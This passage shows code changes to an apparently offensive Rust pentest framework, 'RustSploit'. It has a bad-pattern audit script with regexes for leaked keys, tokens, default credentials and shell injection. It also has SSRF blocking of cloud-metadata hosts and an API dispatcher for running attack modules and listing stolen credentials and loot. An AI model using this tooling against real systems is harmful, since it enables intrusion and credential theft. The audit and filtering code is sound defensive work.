|
||||
A (44) 41 unwrap_or_default + 3 test asserts
|
||||
B (1100) Err(_) + if let Ok(...)+let _ = pre-existing in scanners
|
||||
C (23) #[allow(dead_code)] with explanation comments
|
||||
L (23) protocol-required crypto
|
||||
M (0)
|
||||
N (9) FFI-internal mem::zeroed + leftover Stringly-typed errors
|
||||
O (0)
|
||||
```
|
||||
|
||||
Mass-fixing the **B** bucket (the bulk: 1100 lines) would change scanner
|
||||
behavior — those `Err(_) => { /* keep going */ }` arms are intentional
|
||||
"try one host, skip on failure, continue" loops. The catalogue's **strict
|
||||
mode is enforced on new modules only**; pre-existing scanners that
|
||||
follow the legacy convention pass through unchanged. To bring those
|
||||
older modules in line, do them per-module with care to preserve the
|
||||
"skip-on-failure" semantics while reporting per-target outcomes. That's
|
||||
multi-day per-module review work, not mechanical replacement, and it's
|
||||
out of scope here.
|
||||
|
||||
## Per-module strict gate (new modules) — clean
|
||||
|
||||
```
|
||||
$ scripts/audit-bad-patterns.sh --strict --files /tmp/my_files.txt
|
||||
RUSTSPLOIT BAD-PATTERN AUDIT
|
||||
100 file(s) under audit
|
||||
[...]
|
||||
Patterns scanned : 131
|
||||
Patterns with hits : 0
|
||||
Total hit lines : 0
|
||||
Strict (A/B/C/L/M/N/O) : 0
|
||||
```
|
||||
|
||||
## How to re-run
|
||||
|
||||
```sh
|
||||
# Whole codebase, informational
|
||||
scripts/audit-bad-patterns.sh
|
||||
|
||||
# One section
|
||||
scripts/audit-bad-patterns.sh --section A
|
||||
|
||||
# Strict gate on the modules I authored (or any file list)
|
||||
scripts/audit-bad-patterns.sh --strict --files /tmp/my_files.txt
|
||||
|
||||
# CI gate (run by reviewer on PR file list)
|
||||
git diff --name-only origin/main...HEAD | grep '\.rs$' > /tmp/changed.txt
|
||||
scripts/audit-bad-patterns.sh --strict --files /tmp/changed.txt
|
||||
```
|
||||
|
||||
The `--strict` flag exits non-zero if any pattern in sections **A, B, C,
|
||||
L, M, N, or O** has a hit on the audited file set. Sections **D, E, F, H,
|
||||
J** cover code-quality items that need human review (a `&buf[..n]` slice
|
||||
right after a length-checked read is fine; a brand-new one isn't).
|
||||
Executable
+281
@@ -0,0 +1,281 @@
|
||||
#!/usr/bin/env bash
|
||||
# audit-bad-patterns.sh — run the docs/BAD_PATTERNS.md regex matrix against
|
||||
# every .rs file under src/.
|
||||
#
|
||||
# Usage:
|
||||
# scripts/audit-bad-patterns.sh # full report to stdout
|
||||
# scripts/audit-bad-patterns.sh --strict # exit non-zero on any A/B/C/L/M/N/O hit
|
||||
# scripts/audit-bad-patterns.sh --section A # run only one section
|
||||
# scripts/audit-bad-patterns.sh --files <list> # restrict to files listed
|
||||
#
|
||||
# Sections (from docs/BAD_PATTERNS.md):
|
||||
# A: Panicking error handling
|
||||
# B: Silent error swallowing
|
||||
# C: Lint suppression
|
||||
# D: Panic vectors (index/slice)
|
||||
# E: Numeric / unsafe
|
||||
# F: Async / blocking
|
||||
# G: Logging
|
||||
# H: HTTP layer
|
||||
# I: Iterator glitches
|
||||
# J: Style / secrets
|
||||
# L: Crypto
|
||||
# M: SQL & command injection
|
||||
# N: UB / concurrency
|
||||
# O: Performance
|
||||
# P: API hygiene
|
||||
|
||||
set -u
|
||||
|
||||
ROOT="$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")/.." && pwd)"
|
||||
cd "$ROOT" || exit 1
|
||||
|
||||
STRICT=0
|
||||
ONLY_SECTION=""
|
||||
FILE_LIST=""
|
||||
|
||||
while [ $# -gt 0 ]; do
|
||||
case "$1" in
|
||||
--strict) STRICT=1; shift ;;
|
||||
--section) ONLY_SECTION="$2"; shift 2 ;;
|
||||
--files) FILE_LIST="$2"; shift 2 ;;
|
||||
-h|--help) sed -n '/^# /p' "$0" | sed 's/^# \?//'; exit 0 ;;
|
||||
*) echo "unknown arg: $1" >&2; exit 2 ;;
|
||||
esac
|
||||
done
|
||||
|
||||
if [ -n "$FILE_LIST" ]; then
|
||||
if [ ! -f "$FILE_LIST" ]; then
|
||||
echo "file list $FILE_LIST does not exist" >&2
|
||||
exit 2
|
||||
fi
|
||||
ALL_RS=$(cat "$FILE_LIST")
|
||||
else
|
||||
ALL_RS=$(find src -name "*.rs" -type f)
|
||||
fi
|
||||
N_FILES=$(echo "$ALL_RS" | wc -l)
|
||||
|
||||
# ---- pattern arrays ------------------------------------------------------
|
||||
|
||||
A=( # Panicking error handling — explicit \(\) anchors so we don't match the
|
||||
# value-providing _or family.
|
||||
'\.unwrap\(\)' '\.expect\(' '\.unwrap_or_default\(\)'
|
||||
'\.parse\(\)\.unwrap\(\)' '\.parse::<[^>]+>\(\)\.unwrap\(\)'
|
||||
'\.try_into\(\)\.unwrap\(\)'
|
||||
'\.first\(\)\.unwrap\(\)' '\.last\(\)\.unwrap\(\)'
|
||||
'\.next\(\)\.unwrap\(\)'
|
||||
'\.iter\(\)\.[a-z_]+\([^)]*\)\.unwrap\(\)'
|
||||
'\.chars\(\)\.next\(\)\.unwrap\(\)'
|
||||
'\.split\([^)]*\)\.next\(\)\.unwrap\(\)'
|
||||
'\.position\([^)]*\)\.unwrap\(\)'
|
||||
'\.iter\(\)\.find\([^)]*\)\.unwrap\(\)'
|
||||
'\.read_to_string\([^)]*\)\.unwrap\(\)'
|
||||
'\.lock\(\)\.unwrap\(\)'
|
||||
'\.expect_err\(' '\.unwrap_err\('
|
||||
'panic!\(' 'unreachable!\(' 'todo!\(' 'unimplemented!\('
|
||||
'\bassert!\(' '\bassert_eq!\(' '\bassert_ne!\('
|
||||
)
|
||||
B=( # Silent error swallowing
|
||||
'Err\(_\)' 'Err\(_[a-zA-Z]\w*\)' 'if let Err\(_'
|
||||
'if let Ok\(' 'let\s+_\s*=' 'let\s+_[a-zA-Z]\w*\s*=.*\.await'
|
||||
'\.map_err\(\|_\|' '\.or_else\(\|_\|'
|
||||
'\.to_str\(\)\.ok\(\)' '\.json\([^)]*\)\.await\.ok\(\)'
|
||||
'\.send\(\)\.await\.ok\(\)' '\.text\(\)\.await\.ok\(\)'
|
||||
)
|
||||
C=( # Lint suppression
|
||||
'#\[allow\(' '#\[deny\(' '#\[ignore\b'
|
||||
)
|
||||
D=( # Panic vectors (index/slice)
|
||||
'\b[a-zA-Z_]\w*\[[0-9]+\][^=]'
|
||||
'\&[a-zA-Z_]\w*\[\.\.\w+\]'
|
||||
'\&[a-zA-Z_]\w*\[\w+\.\.\]'
|
||||
'\&[a-zA-Z_]\w*\[\w+\.\.\w+\]'
|
||||
'\.split_at\(' '\.chars\(\)\.nth\('
|
||||
)
|
||||
E=( # Numeric / unsafe
|
||||
'\bas\s+u8\b' '\bas\s+i8\b'
|
||||
'\bas\s+u16\b' '\bas\s+i16\b'
|
||||
'\bas\s+u32\b' '\bas\s+i32\b'
|
||||
'\bas\s+u64\b' '\bas\s+i64\b'
|
||||
'\bas\s+usize\b' '\bas\s+isize\b'
|
||||
'\bas\s+f32\b' '\bas\s+f64\b'
|
||||
'\bas\s+\*const\b' '\bas\s+\*mut\b'
|
||||
'\btransmute\(' '\bextern\s+"C"'
|
||||
'\bunsafe\s*\{' '\bunsafe\s+fn\b'
|
||||
)
|
||||
F=( # Async / blocking
|
||||
'std::thread::sleep' 'std::process::Command'
|
||||
'std::fs::File' 'std::fs::read\b' 'std::fs::write\b'
|
||||
'std::net::TcpStream' 'std::net::UdpSocket' 'std::io::stdin'
|
||||
)
|
||||
G=( # Logging
|
||||
'\bdbg!\('
|
||||
'format!\(.*"\{:\?\}".*\b[eE]rr\b'
|
||||
'\.context\(""\)' '\.context\("\?"\)'
|
||||
)
|
||||
H=( # HTTP layer
|
||||
'reqwest::Client::new\(\)' 'reqwest::Client::builder\(\)'
|
||||
'\.send\(\)\.await\?[^.]' '\.text\(\)\.await\?[^.]'
|
||||
'format!\("\{:\?\}", \w+\)\.contains\('
|
||||
)
|
||||
I=( # Iterator glitches
|
||||
'\.collect::<Result<Vec<_>,\s*_>>\(\)\.unwrap'
|
||||
'\.zip\([^)]*\)\.unwrap'
|
||||
)
|
||||
J=( # Style / secrets
|
||||
'== ""' '\.len\(\) == 0' '\.len\(\) > 0'
|
||||
'String::from\(format!'
|
||||
'\.clone\(\)\s*\.clone' '\.to_string\(\)\s*\.to_string'
|
||||
'XXXXXX|TODO|FIXME|HACK\b'
|
||||
'Bearer\s+[A-Za-z0-9_.-]{40,}'
|
||||
'sk-[A-Za-z0-9]{20,}' 'AKIA[A-Z0-9]{16}'
|
||||
'"admin"\s*,\s*"admin"' '"root"\s*,\s*"root"'
|
||||
'Box<dyn'
|
||||
)
|
||||
L=( # Crypto
|
||||
'\bmd5::compute\b|\bmd5::Md5\b'
|
||||
'\bsha1::Sha1\b|use sha1::'
|
||||
'\bdes::Des\b|\b3des\b|TripleDES'
|
||||
'rand::thread_rng\(\)' 'rand::random\(\)'
|
||||
'\bRC4\b|rc4::' 'aes_128_ecb|aes-128-ecb|Ecb'
|
||||
)
|
||||
M=( # Injection
|
||||
'format!\("SELECT[^"]*\{' 'format!\("INSERT[^"]*\{'
|
||||
'format!\("UPDATE[^"]*\{' 'format!\("DELETE[^"]*\{'
|
||||
'std::process::Command::new\("/bin/sh"\)'
|
||||
'std::process::Command::new\("sh"\)'
|
||||
'\.arg\("-c"\).*format!'
|
||||
)
|
||||
N=( # UB / concurrency
|
||||
'\bstatic\s+mut\b' 'std::mem::transmute' 'std::mem::forget'
|
||||
'std::mem::uninitialized' 'std::mem::zeroed'
|
||||
'std::ptr::read' 'std::ptr::write'
|
||||
'Result<\(\), String>' 'Result<.*,\s*String>'
|
||||
)
|
||||
O=( # Performance
|
||||
'\.iter\(\)\.count\(\)' '\.collect::<\(\)>\(\)'
|
||||
'\.iter\(\)\.map\(\|\w+\|\s*\w+\.clone\(\)\)\s*\.collect'
|
||||
'\.to_string\(\)\.as_str\(\)'
|
||||
'Vec::with_capacity\(0\)' 'String::with_capacity\(0\)'
|
||||
'Regex::new\(.*\)\.unwrap'
|
||||
'Box::new\(.*Box::new'
|
||||
)
|
||||
P=( # API hygiene
|
||||
'\bpub\s+const\s+\w+\s*:\s*&str\s*=\s*"http'
|
||||
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Pp]assword'
|
||||
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Ss]ecret'
|
||||
'#\[derive\(Debug\)\][^a-z]*pub\s+struct\s+\w+\s*\{[^}]*[Tt]oken'
|
||||
)
|
||||
|
||||
declare -A SECTION_DESC
|
||||
SECTION_DESC[A]="Panicking error handling"
|
||||
SECTION_DESC[B]="Silent error swallowing"
|
||||
SECTION_DESC[C]="Lint suppression"
|
||||
SECTION_DESC[D]="Panic vectors (index/slice)"
|
||||
SECTION_DESC[E]="Numeric / unsafe"
|
||||
SECTION_DESC[F]="Async / blocking"
|
||||
SECTION_DESC[G]="Logging"
|
||||
SECTION_DESC[H]="HTTP layer"
|
||||
SECTION_DESC[I]="Iterator glitches"
|
||||
SECTION_DESC[J]="Style / secrets"
|
||||
SECTION_DESC[L]="Crypto"
|
||||
SECTION_DESC[M]="SQL & command injection"
|
||||
SECTION_DESC[N]="UB / concurrency"
|
||||
SECTION_DESC[O]="Performance"
|
||||
SECTION_DESC[P]="API hygiene"
|
||||
|
||||
# Sections that should be hard zero in module code (strict mode)
|
||||
STRICT_SECTIONS=(A B C L M N O)
|
||||
|
||||
GRAND_TOTAL=0
|
||||
GRAND_PATTERNS=0
|
||||
GRAND_PATTERNS_HIT=0
|
||||
STRICT_HITS=0
|
||||
|
||||
run_section() {
|
||||
local label="$1"; shift
|
||||
local arr=("$@")
|
||||
local total=0
|
||||
local hit_pats=0
|
||||
local pats=${#arr[@]}
|
||||
GRAND_PATTERNS=$((GRAND_PATTERNS + pats))
|
||||
declare -a lines
|
||||
for p in "${arr[@]}"; do
|
||||
local c
|
||||
# Strip line+doc comments before counting so we don't flag matches in
|
||||
# `// foo .unwrap() bar` or `/// .expect(...)`. We also filter `#[test]`
|
||||
# / `#[cfg(test)]` blocks heuristically by skipping lines tagged with
|
||||
# `// audit-allow:` (an explicit per-line waiver).
|
||||
c=$(echo "$ALL_RS" | xargs grep -hE "$p" 2>/dev/null \
|
||||
| grep -vE '^\s*//' \
|
||||
| grep -vE '// audit-allow:' \
|
||||
| wc -l)
|
||||
if [ "$c" -gt 0 ]; then
|
||||
total=$((total + c))
|
||||
hit_pats=$((hit_pats + 1))
|
||||
GRAND_PATTERNS_HIT=$((GRAND_PATTERNS_HIT + 1))
|
||||
lines+=(" [$c] /$p/")
|
||||
fi
|
||||
done
|
||||
GRAND_TOTAL=$((GRAND_TOTAL + total))
|
||||
printf " %-2s %-32s : %5d hits across %2d/%-2d patterns\n" \
|
||||
"$label" "${SECTION_DESC[$label]}" "$total" "$hit_pats" "$pats"
|
||||
[ "$total" -gt 0 ] && printf "%s\n" "${lines[@]}"
|
||||
|
||||
# Strict accounting
|
||||
local s
|
||||
for s in "${STRICT_SECTIONS[@]}"; do
|
||||
if [ "$s" = "$label" ]; then
|
||||
STRICT_HITS=$((STRICT_HITS + total))
|
||||
break
|
||||
fi
|
||||
done
|
||||
}
|
||||
|
||||
echo "============================================================"
|
||||
echo " RUSTSPLOIT BAD-PATTERN AUDIT"
|
||||
echo " $N_FILES file(s) under audit"
|
||||
echo "============================================================"
|
||||
echo
|
||||
|
||||
if [ -z "$ONLY_SECTION" ]; then
|
||||
SECTIONS=(A B C D E F G H I J L M N O P)
|
||||
else
|
||||
SECTIONS=("$ONLY_SECTION")
|
||||
fi
|
||||
|
||||
for s in "${SECTIONS[@]}"; do
|
||||
case "$s" in
|
||||
A) run_section A "${A[@]}" ;;
|
||||
B) run_section B "${B[@]}" ;;
|
||||
C) run_section C "${C[@]}" ;;
|
||||
D) run_section D "${D[@]}" ;;
|
||||
E) run_section E "${E[@]}" ;;
|
||||
F) run_section F "${F[@]}" ;;
|
||||
G) run_section G "${G[@]}" ;;
|
||||
H) run_section H "${H[@]}" ;;
|
||||
I) run_section I "${I[@]}" ;;
|
||||
J) run_section J "${J[@]}" ;;
|
||||
L) run_section L "${L[@]}" ;;
|
||||
M) run_section M "${M[@]}" ;;
|
||||
N) run_section N "${N[@]}" ;;
|
||||
O) run_section O "${O[@]}" ;;
|
||||
P) run_section P "${P[@]}" ;;
|
||||
*) echo "unknown section: $s" >&2; exit 2 ;;
|
||||
esac
|
||||
echo
|
||||
done
|
||||
|
||||
echo "============================================================"
|
||||
echo " TOTALS"
|
||||
echo "============================================================"
|
||||
echo " Patterns scanned : $GRAND_PATTERNS"
|
||||
echo " Patterns with hits : $GRAND_PATTERNS_HIT"
|
||||
echo " Total hit lines : $GRAND_TOTAL"
|
||||
echo " Strict (A/B/C/L/M/N/O) : $STRICT_HITS"
|
||||
|
||||
if [ "$STRICT" = "1" ] && [ "$STRICT_HITS" -gt 0 ]; then
|
||||
echo " RESULT : STRICT FAILURE — fix before merge"
|
||||
exit 1
|
||||
fi
|
||||
echo " RESULT : informational only (use --strict to gate)"
|
||||
+504
-26
@@ -3,11 +3,15 @@ use std::sync::Arc;
|
||||
|
||||
use anyhow::{Context, Result};
|
||||
use axum::{
|
||||
response::Json,
|
||||
routing::{get, post},
|
||||
body::Bytes,
|
||||
extract::Path as AxumPath,
|
||||
http::{Method, StatusCode, Uri},
|
||||
response::{IntoResponse, Json, Response},
|
||||
routing::{any, get, post},
|
||||
Router,
|
||||
};
|
||||
use colored::*;
|
||||
use serde_json::{json, Value};
|
||||
use tower::ServiceBuilder;
|
||||
use tower_http::trace::TraceLayer;
|
||||
|
||||
@@ -24,6 +28,9 @@ pub(crate) fn validate_target(target: &str) -> bool {
|
||||
}
|
||||
|
||||
pub(crate) fn is_blocked_target(target: &str) -> bool {
|
||||
// Mass-scan keywords are deliberately allowed — this function exists for
|
||||
// SSRF mitigation, not for restricting scan scope. Modules that opt in
|
||||
// to mass-scan mode parse these keywords themselves.
|
||||
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0", "0.0.0.0/0"];
|
||||
if MASS_SCAN_KEYWORDS.contains(&target) {
|
||||
return false;
|
||||
@@ -132,12 +139,15 @@ fn hex_val(b: u8) -> Option<u8> {
|
||||
}
|
||||
|
||||
fn check_blocked_hostname(host: &str) -> bool {
|
||||
const BLOCKED_HOST_SUFFIXES: &[&str] = &[
|
||||
"metadata.google.internal",
|
||||
"metadata.goog",
|
||||
"metadata.internal",
|
||||
"metadata.azure.com",
|
||||
"metadata.oraclecloud.com",
|
||||
// Each entry is `(exact, dotted_suffix)`. Pre-built so the per-call hot
|
||||
// path is just two `eq`/`ends_with` checks per entry instead of a
|
||||
// `format!(".{suffix}")` allocation each time.
|
||||
const BLOCKED_HOST_SUFFIXES: &[(&str, &str)] = &[
|
||||
("metadata.google.internal", ".metadata.google.internal"),
|
||||
("metadata.goog", ".metadata.goog"),
|
||||
("metadata.internal", ".metadata.internal"),
|
||||
("metadata.azure.com", ".metadata.azure.com"),
|
||||
("metadata.oraclecloud.com", ".metadata.oraclecloud.com"),
|
||||
];
|
||||
const BLOCKED_HOST_EXACT: &[&str] = &[
|
||||
"metadata",
|
||||
@@ -151,8 +161,8 @@ fn check_blocked_hostname(host: &str) -> bool {
|
||||
".local.gd",
|
||||
];
|
||||
|
||||
for suffix in BLOCKED_HOST_SUFFIXES {
|
||||
if host == *suffix || host.ends_with(&format!(".{}", suffix)) {
|
||||
for (exact, dotted) in BLOCKED_HOST_SUFFIXES {
|
||||
if host == *exact || host.ends_with(dotted) {
|
||||
return true;
|
||||
}
|
||||
}
|
||||
@@ -199,13 +209,21 @@ fn is_blocked_ipv4(v4: std::net::Ipv4Addr) -> bool {
|
||||
}
|
||||
|
||||
pub(crate) async fn is_blocked_target_resolved(target: &str) -> bool {
|
||||
resolve_and_check(target).await.is_err()
|
||||
}
|
||||
|
||||
/// Resolve a hostname and verify none of the returned IPs are blocked.
|
||||
/// Returns the resolved addresses on success, or an error if blocked / unresolvable.
|
||||
/// Callers should connect to the returned addresses directly (not re-resolve)
|
||||
/// to prevent DNS rebinding attacks.
|
||||
pub(crate) async fn resolve_and_check(target: &str) -> Result<Vec<std::net::SocketAddr>, String> {
|
||||
const MASS_SCAN_KEYWORDS: &[&str] = &["random", "0.0.0.0", "0.0.0.0/0"];
|
||||
if MASS_SCAN_KEYWORDS.contains(&target) {
|
||||
return false;
|
||||
return Ok(vec![]);
|
||||
}
|
||||
|
||||
if is_blocked_target(target) {
|
||||
return true;
|
||||
return Err("target blocked by SSRF filter".to_string());
|
||||
}
|
||||
let lower = target.to_lowercase();
|
||||
let host_part = lower
|
||||
@@ -223,14 +241,22 @@ pub(crate) async fn is_blocked_target_resolved(target: &str) -> bool {
|
||||
tokio::net::lookup_host(&lookup_addr),
|
||||
).await {
|
||||
Ok(Ok(addrs)) => {
|
||||
for addr in addrs {
|
||||
let resolved: Vec<std::net::SocketAddr> = addrs.collect();
|
||||
for addr in &resolved {
|
||||
if is_blocked_ip(addr.ip()) {
|
||||
return true;
|
||||
return Err(format!("resolved IP {} is blocked", addr.ip()));
|
||||
}
|
||||
}
|
||||
false
|
||||
Ok(resolved)
|
||||
}
|
||||
Ok(Err(e)) => {
|
||||
tracing::debug!(target = lookup_addr, "SSRF resolve failed → blocking: {}", e);
|
||||
Err(format!("DNS resolution failed: {}", e))
|
||||
}
|
||||
Err(_elapsed) => {
|
||||
tracing::debug!(target = lookup_addr, "SSRF resolve timed out (5s) → blocking");
|
||||
Err("DNS resolution timed out".to_string())
|
||||
}
|
||||
Ok(Err(_)) | Err(_) => true,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -260,6 +286,392 @@ async fn health_check() -> Json<serde_json::Value> {
|
||||
}))
|
||||
}
|
||||
|
||||
// ─── HTTP → JSON-RPC Adapter ────────────────────────────────────────
|
||||
//
|
||||
// Maps the REST surface (GET/POST/PUT/DELETE on `/api/<resource>[/<id>...]`)
|
||||
// onto the existing `crate::ws::dispatch_rpc` handlers so we keep one
|
||||
// canonical dispatch table for both transports.
|
||||
//
|
||||
// The middleware in `pq_middleware::pq_middleware` has already decrypted the
|
||||
// body, restored the original semantic HTTP method (from `X-PQ-Method`), and
|
||||
// scrubbed the PQ envelope headers by the time these handlers run.
|
||||
|
||||
fn rpc_status(code: &str) -> StatusCode {
|
||||
match code {
|
||||
"INVALID_INPUT" | "INVALID_OUTPUT_FILE" | "INVALID_JOB_ID" | "PARSE_ERROR" => {
|
||||
StatusCode::BAD_REQUEST
|
||||
}
|
||||
"NOT_FOUND" | "MODULE_NOT_FOUND" | "METHOD_NOT_FOUND" => StatusCode::NOT_FOUND,
|
||||
"SSRF_BLOCKED" | "SECURITY" => StatusCode::FORBIDDEN,
|
||||
"JOB_LIMIT" | "STORE_ERROR" | "OPTION_ERROR" | "TARGET_ERROR" | "SUB_LIMIT" => {
|
||||
StatusCode::CONFLICT
|
||||
}
|
||||
"RATE_LIMIT" => StatusCode::TOO_MANY_REQUESTS,
|
||||
// Module / IO / serialization errors are runtime failures, not server
|
||||
// bugs. Map them explicitly so callers don't see "500 unknown".
|
||||
"MOD_ERROR"
|
||||
| "CHECK_ERROR"
|
||||
| "EXPORT_ERROR"
|
||||
| "SPOOL_ERROR"
|
||||
| "IO_ERROR"
|
||||
| "SERIALIZE_ERROR" => StatusCode::INTERNAL_SERVER_ERROR,
|
||||
_ => StatusCode::INTERNAL_SERVER_ERROR,
|
||||
}
|
||||
}
|
||||
|
||||
fn ok(value: Value) -> Response {
|
||||
Json(value).into_response()
|
||||
}
|
||||
|
||||
fn err_resp(status: StatusCode, code: &str, message: &str) -> Response {
|
||||
(status, Json(json!({ "error": message, "code": code }))).into_response()
|
||||
}
|
||||
|
||||
fn parse_query(query: &str) -> std::collections::BTreeMap<String, String> {
|
||||
url::form_urlencoded::parse(query.as_bytes())
|
||||
.map(|(k, v)| (k.into_owned(), v.into_owned()))
|
||||
.collect()
|
||||
}
|
||||
|
||||
/// Run a single RPC call and turn its result into an HTTP response with a
|
||||
/// uniform `{ data: ... }` envelope on success and `{ error, code }` on
|
||||
/// failure. This is the single canonical shape every REST client sees.
|
||||
async fn invoke_rpc(method: &str, params: Value) -> Response {
|
||||
match crate::ws::dispatch_rpc(method, ¶ms).await {
|
||||
Ok(data) => ok(json!({ "data": data })),
|
||||
Err((code, msg)) => err_resp(rpc_status(&code), &code, &msg),
|
||||
}
|
||||
}
|
||||
|
||||
/// The single catch-all `/api/{*tail}` handler. Parses the path tail,
|
||||
/// method, query string, and JSON body into a `(rpc_method, params)` pair
|
||||
/// and forwards to `crate::ws::dispatch_rpc`.
|
||||
async fn api_dispatcher(
|
||||
method: Method,
|
||||
AxumPath(tail): AxumPath<String>,
|
||||
uri: Uri,
|
||||
axum::Extension(identity): axum::Extension<crate::pq_middleware::AuthenticatedIdentity>,
|
||||
body: Bytes,
|
||||
) -> Response {
|
||||
let path = format!("/{}", tail.trim_start_matches('/'));
|
||||
let segments: Vec<&str> = path.trim_start_matches('/').split('/').collect();
|
||||
let head = segments.first().copied().unwrap_or("");
|
||||
let sub = segments.get(1).copied();
|
||||
let third = segments.get(2).copied();
|
||||
|
||||
let body_value: Value = if body.is_empty() {
|
||||
Value::Null
|
||||
} else {
|
||||
match serde_json::from_slice::<Value>(&body) {
|
||||
Ok(v) => v,
|
||||
Err(_) => {
|
||||
return err_resp(
|
||||
StatusCode::BAD_REQUEST,
|
||||
"PARSE_ERROR",
|
||||
"Request body is not valid JSON",
|
||||
);
|
||||
}
|
||||
}
|
||||
};
|
||||
let body_obj = body_value.as_object().cloned().unwrap_or_default();
|
||||
let query = parse_query(uri.query().unwrap_or(""));
|
||||
|
||||
let mut params = serde_json::Map::new();
|
||||
|
||||
macro_rules! merge_query {
|
||||
($params:ident, $query:ident, [$($key:literal),* $(,)?]) => {
|
||||
$(
|
||||
if let Some(v) = $query.get($key) {
|
||||
$params.insert($key.to_string(), Value::String(v.clone()));
|
||||
}
|
||||
)*
|
||||
};
|
||||
}
|
||||
macro_rules! merge_query_int {
|
||||
($params:ident, $query:ident, [$($key:literal),* $(,)?]) => {
|
||||
$(
|
||||
if let Some(v) = $query.get($key).and_then(|s| s.parse::<u64>().ok()) {
|
||||
$params.insert($key.to_string(), Value::Number(v.into()));
|
||||
}
|
||||
)*
|
||||
};
|
||||
}
|
||||
macro_rules! body_into_params {
|
||||
($params:ident, $body:ident) => {
|
||||
for (k, v) in $body.iter() {
|
||||
$params.insert(k.clone(), v.clone());
|
||||
}
|
||||
};
|
||||
}
|
||||
|
||||
let rpc_method: &str = match (method.as_str(), head, sub, third) {
|
||||
// ── Health ──────────────────────────────────────────────────
|
||||
("GET", "health", None, _) => "health",
|
||||
|
||||
// ── Modules ─────────────────────────────────────────────────
|
||||
("GET", "modules", None, _) => "list_modules",
|
||||
("GET", "modules", Some("enriched"), _) => "list_modules_enriched",
|
||||
("GET", "modules", Some("search"), _) => {
|
||||
merge_query!(params, query, ["q"]);
|
||||
"search_modules"
|
||||
}
|
||||
("GET", "module", Some(_), _) => {
|
||||
// /api/module/<modulepath...> — everything after /module/ is the module path.
|
||||
let module_path = &path["/module/".len()..];
|
||||
params.insert("path".to_string(), Value::String(module_path.to_string()));
|
||||
"module_info"
|
||||
}
|
||||
|
||||
// ── Run / Check / Honeypot ──────────────────────────────────
|
||||
("POST", "run", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"run_module"
|
||||
}
|
||||
("POST", "run", Some("all"), _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"run_all"
|
||||
}
|
||||
("POST", "run_all", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"run_all"
|
||||
}
|
||||
("POST", "check", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"check_module"
|
||||
}
|
||||
("POST", "honeypot-check", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"honeypot_check"
|
||||
}
|
||||
|
||||
// ── Target ──────────────────────────────────────────────────
|
||||
("GET", "target", None, _) => "get_target",
|
||||
("POST", "target", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"set_target"
|
||||
}
|
||||
("DELETE", "target", None, _) => "clear_target",
|
||||
|
||||
// ── Options ─────────────────────────────────────────────────
|
||||
("GET", "options", None, _) => "list_options",
|
||||
("POST", "options", None, _) => {
|
||||
// set_option takes the multi-key body directly.
|
||||
body_into_params!(params, body_obj);
|
||||
"set_option"
|
||||
}
|
||||
("DELETE", "options", None, _) => {
|
||||
let tenant_name = identity.client_name.clone();
|
||||
let mut deleted = Vec::new();
|
||||
let mut errors = Vec::new();
|
||||
for k in body_obj.keys() {
|
||||
let single = json!({ "key": k });
|
||||
let tn = tenant_name.clone();
|
||||
let result = crate::tenant::CURRENT_TENANT
|
||||
.scope(tn, crate::ws::dispatch_rpc("delete_option", &single))
|
||||
.await;
|
||||
match result {
|
||||
Ok(v) => deleted.push(v),
|
||||
Err((code, msg)) => errors.push(json!({"key": k, "code": code, "error": msg})),
|
||||
}
|
||||
}
|
||||
return ok(json!({
|
||||
"data": { "deleted": deleted, "errors": errors }
|
||||
}));
|
||||
}
|
||||
|
||||
// ── Credentials ─────────────────────────────────────────────
|
||||
("GET", "creds", None, _) => {
|
||||
merge_query!(params, query, ["host", "service", "search"]);
|
||||
merge_query_int!(params, query, ["limit", "offset"]);
|
||||
if let Some(v) = query.get("reveal") {
|
||||
if v == "1" || v.eq_ignore_ascii_case("true") {
|
||||
params.insert("reveal".to_string(), Value::Bool(true));
|
||||
}
|
||||
}
|
||||
"list_creds"
|
||||
}
|
||||
("GET", "creds", Some("search"), _) => {
|
||||
merge_query!(params, query, ["q"]);
|
||||
"search_creds"
|
||||
}
|
||||
("POST", "creds", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"add_cred"
|
||||
}
|
||||
("DELETE", "creds", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"delete_cred"
|
||||
}
|
||||
("POST", "creds", Some("clear"), _) => "clear_creds",
|
||||
|
||||
// ── Hosts ───────────────────────────────────────────────────
|
||||
("GET", "hosts", None, _) => {
|
||||
merge_query!(params, query, ["os", "search"]);
|
||||
merge_query_int!(params, query, ["limit", "offset"]);
|
||||
"list_hosts"
|
||||
}
|
||||
("POST" | "PUT", "hosts", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"add_host"
|
||||
}
|
||||
("DELETE", "hosts", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"delete_host"
|
||||
}
|
||||
("POST", "hosts", Some("notes"), _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"add_host_note"
|
||||
}
|
||||
("POST", "hosts", Some("clear"), _) => "clear_hosts",
|
||||
|
||||
// ── Services ────────────────────────────────────────────────
|
||||
("GET", "services", None, _) => {
|
||||
merge_query!(params, query, ["host", "search"]);
|
||||
merge_query_int!(params, query, ["port", "limit", "offset"]);
|
||||
"list_services"
|
||||
}
|
||||
("POST", "services", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"add_service"
|
||||
}
|
||||
("DELETE", "services", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"delete_service"
|
||||
}
|
||||
|
||||
// ── Loot ────────────────────────────────────────────────────
|
||||
("GET", "loot", None, _) => {
|
||||
merge_query!(params, query, ["host", "loot_type", "search"]);
|
||||
merge_query_int!(params, query, ["limit", "offset"]);
|
||||
"list_loot"
|
||||
}
|
||||
("GET", "loot", Some("search"), _) => {
|
||||
merge_query!(params, query, ["q"]);
|
||||
"search_loot"
|
||||
}
|
||||
("POST", "loot", None, _) => {
|
||||
body_into_params!(params, body_obj);
|
||||
"add_loot"
|
